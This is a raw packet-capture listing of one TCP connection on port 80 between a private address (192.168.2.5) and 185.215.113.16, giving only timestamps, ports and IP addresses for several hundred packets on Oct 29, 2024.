Oct 29, 2024 05:02:39.413649082 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413655043 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413682938 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413700104 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413717031 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413722038 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413755894 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413769007 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413803101 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413819075 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413836002 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413837910 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413870096 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413880110 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413902998 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413911104 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413937092 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413944960 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413969994 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413984060 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.414005041 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.414012909 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.414036036 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.414047003 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.414088011 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.414230108 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.414279938 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.414311886 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.414340973 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.414360046 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.414383888 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.414391994 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.414424896 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.414438009 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.414458036 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.414464951 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.414504051 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.414551973 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.414586067 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.414594889 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.414618969 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.414629936 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.414658070 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.457492113 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.457545042 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.457549095 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.457580090 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.457587004 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.457618952 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.457634926 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.457672119 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.457685947 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.457725048 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.457736015 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.457771063 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.457775116 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.457806110 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.457819939 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.457854033 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.457874060 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.457886934 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.457892895 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.457921028 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.457937956 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.457964897 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.457972050 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458019018 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458020926 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458050013 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458062887 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458090067 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458098888 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458132029 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458151102 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458168030 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458172083 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458201885 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458204031 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458235025 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458240986 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458268881 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458273888 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458312035 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458318949 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458352089 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458353043 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458384991 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458390951 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458419085 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458425045 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458452940 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458455086 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458506107 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458549976 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458585024 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458600044 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458633900 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458642960 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458669901 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458686113 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458719969 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458728075 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458753109 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458760023 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458786011 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.458940029 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458971977 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.458980083 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.459011078 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.459024906 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.459057093 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.459070921 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.459091902 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.459098101 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.459126949 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.459125996 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.459167004 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.489599943 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.489656925 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.489660978 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.489703894 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.489733934 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.489770889 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.489787102 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.489824057 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.489829063 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.489864111 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.489881039 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.489921093 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.489933014 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.489963055 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.489973068 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.489998102 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490001917 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490032911 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490034103 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490072012 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490082979 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490122080 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490123034 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490151882 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490164995 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490190029 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490204096 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490238905 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490248919 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490272045 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490278959 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490305901 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490313053 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490343094 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490345955 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490376949 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490392923 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490411997 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490418911 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490447044 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490510941 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490540981 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490555048 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490572929 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490577936 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490607023 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490616083 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490641117 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490645885 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490677118 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490681887 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490716934 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490729094 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490767956 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490772009 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490796089 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.490808964 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.490842104 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494227886 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494276047 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494280100 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494323969 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494338036 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494374990 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494389057 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494422913 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494434118 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494453907 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494462013 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494494915 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494507074 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494541883 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494545937 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494575024 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494580984 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494610071 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494617939 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494647980 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494662046 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494699955 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494714022 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494746923 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494755030 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494784117 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494786978 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494826078 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494833946 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494862080 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494868040 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494895935 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494901896 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494930029 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.494935989 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.494975090 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.530438900 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.530472040 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.530497074 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.530514956 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.530524015 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.530559063 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.530569077 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.530592918 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.530601025 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.530627012 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.530632973 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.530672073 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.531821966 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.531852007 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.531858921 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.531887054 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.531891108 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.531928062 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.531939983 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.531974077 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.531982899 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532007933 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532015085 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532042027 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532051086 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532082081 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532098055 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532140970 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532160044 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532191038 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532206059 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532223940 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532232046 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532258987 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532269001 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532291889 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532313108 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532345057 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532345057 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532381058 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532392025 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532416105 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532421112 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532450914 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532455921 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532485962 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532494068 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532520056 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532535076 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532556057 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532572985 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532597065 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532619953 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532655001 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532661915 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532687902 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532692909 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532721996 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532747984 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532757998 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532818079 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532871008 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532916069 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532944918 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.532958031 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.532996893 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533030987 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533065081 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533077002 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533077002 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533077002 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533107042 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533113003 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533139944 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533155918 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533190012 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533195972 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533230066 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533237934 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533263922 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533269882 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533308029 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533407927 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533458948 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533461094 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533493996 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533502102 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533528090 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533535957 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533560991 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533571005 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533596992 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533610106 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533638000 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533648014 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533673048 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533683062 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533714056 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533715010 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533747911 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.533757925 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.533786058 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.576546907 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.576606989 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.576632977 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.576667070 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.576678038 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.576702118 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.576709032 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.576744080 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.576756001 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.576798916 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.576807976 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.576844931 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.576850891 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.576878071 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.576884985 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.576917887 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.576934099 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.576975107 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.576987028 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.577022076 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.577029943 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.577054024 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.577064037 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.577089071 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.577092886 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.577132940 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.577142000 CET	80	49778	185.215.113.16	192.168.2.5
